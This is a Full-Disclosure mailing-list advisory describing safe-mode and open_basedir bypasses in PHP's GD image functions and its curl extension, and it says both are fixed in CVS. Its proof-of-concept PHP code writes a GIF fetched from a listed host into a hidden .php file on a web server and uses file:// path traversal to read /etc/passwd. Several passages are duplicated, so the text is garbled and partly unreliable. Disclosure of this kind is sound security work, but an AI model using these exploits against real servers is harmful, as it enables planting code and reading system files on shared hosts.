There is a vulnerability (Safedir Restriction Bypass) identified within the GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");
$file=curl_exec($ch);
echo $file;
?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.
This is fixed in the cvs.
files on any shared servers.
This is fixed in the cvs.
greets: david coallier <[EMAIL PROTECTED]>
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/